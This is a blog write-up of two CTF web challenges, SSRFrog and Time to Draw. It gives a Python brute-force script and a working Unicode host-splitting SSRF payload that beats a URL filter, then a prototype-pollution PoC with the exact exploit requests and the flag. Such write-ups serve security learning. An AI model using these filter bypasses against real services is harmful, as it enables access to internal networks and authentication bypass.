SSRFrog
If you see the view-source of html code, you can easily find the syntax below.
FLAG is on this server: http://the.c0o0o0l-fl444g.server.internal:80
It also provides back-end source code
const express = require("express");
const http = require("http");
const app = express();
app.get("/source", (req, res) => {
return res.sendFile(__filename);
})
app.get('/', (req, res) => {
const { url } = req.query;
if (!url || typeof url !== 'string') return res.sendFile(__dirname + "/index.html");
// no duplicate characters in `url`
if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");
try {
http.get(url, resp => {
resp.setEncoding("utf-8");
resp.statusCode === 200 ? resp.on('data', data => res.send(data)) : res.send(":(");
}).on('error', () => res.send("WTF?"));
} catch (error) {
res.send("WTF?");
}
});
app.listen(3000, '0.0.0.0');
It is a kind of SSRF(Server side request forgery) challenge.
But there are filters checking data type, input type.
if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");
The filter code above means, no duplicate characters are not allowed.
If you use character a 'x', you cannot use that char anymore. Because, data-structure Set reduces duplicate element.
To make the url http://the.c0o0o0l-fl444g.server.internal:80 with no duplicate word is main challenge detail.
Host splitting attack
By using host splitting attack, we can do that.
Main reason the host splitting attack is possible, the unicode normalization spec of http implementation.
If you try to connect http://www.ⓐⓑⓒ.com, it will normalized to www.abc.com, this behavior is not bug.
I tried bruteforce all range in unicode char, can make similar characters with target domain.
#-*- coding:utf-8 -*-
import sys
target = "HTtP:/\\the.c0o0o0l-fl444g.server.internal"
ans = list(target)
print (ans)
print (len(ans))
chars = set(target)
req = {}
for c in chars:
if target.count(c) > 1:
req[c] = target.count(c) - 1
print (req)
for v in (range(256, 0xffff)):
try:
if len(req) == 0:
break
result = chr(v).encode('idna').decode('utf-8')
if result in req.keys():
print(result, v, chr(v))
for i in range(len(ans)):
if ans[i] == result:
ans[i] = chr(v)
break
req[result] = req[result] - 1
if req[result] == 0:
del req[result]
except:
pass
print (req)
print ("HTtP:/\\" + "".join(ans)[7:])
# new URL("HTtP:/\ⓣhℯ.c⁰ℴ₀o0ˡ-fℒ⁴₄4g.sℰʳvⅇℛ.iⁿTernal").origin == 'http://the.c0o0o0l-fl444g.server.internal'
It returns similar host name.
But it doesn't work at javascript function, because of invalid dot(.) substitution unicode character.
So, I run bruteforce with javascript
When you type the below value, you can get the flag!
HTtP:/\ⓣhℯ。c⁰ℴ₀o0ˡ-fℒ⁴₄4g.sℰʳvⅇℛ.iⁿTernal
Time to Draw
This challenge provides server code too.
I didn't back-up challenge details, only solved the problem.
Main vulnerability is prototype pollution.
Prototype pollution
Prototype is javascript feature.
blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/
As the link say, prototype pollution is like belowed.
__proto__ === Object.prototype
If you can change the value of someVariable.__proto__.token, you can change all token member variable of object that does not have member variable name 'token'.
Example PoC code is like below.
canvas = Array();
canvas['__proto__']['token'] = 'my_evil_value';
var other_object = {};
console.log(other_object.token); // 'my_evil_value';
other_object.token should be the undefined variable, but prototype.token value is polluted, you can get the specific value.
I get the hash value of my custom ip and token
➜ ~ node
Welcome to Node.js v12.19.0.
Type ".help" for more information.
> var crypto = require('crypto');
undefined
> const hash = (token) => crypto.createHash("sha256").update(token).digest('hex');
undefined
> hash("42.29.23.221234567890123456")
'f6726c5dcd8635dd2ae8da8dcef74bdfca22c5a27e309ef7bec5f533a7b4ffb6'
>
You can pollute with the request below
http://chall.ctf.bamboofox.tw:8787/api/draw?x=__proto__&y=token&color=f6726c5dcd8635dd2ae8da8dcef74bdfca22c5a27e309ef7bec5f533a7b4ffb6
Then, you can get the flag with the request below
http://chall.ctf.bamboofox.tw:8787/flag?token=1234567890123456
Without admin cookie, userData.token === undefined, but with polluted prototype, you can bypass the check.
flag{baby.proto.pollution.js}
'해킹 & 보안 > CTF Write-ups' 카테고리의 다른 글
[Xmas CTF 2020] write ups (focus on web challs) (0) | 2020.12.21 |
---|---|
[2020 bisc OpenCTF] web challenge write-ups (pw=ctf-domain) (0) | 2020.11.29 |
[Hack.lu CTF 2020] Web - FluxCloud Serverless (1.0 & 2.0), Confession Write-up (0) | 2020.10.26 |
[n1ctf 2020] web-signIn write-up (0) | 2020.10.19 |
NahamCON CTF 2020 Write ups (0) | 2020.06.16 |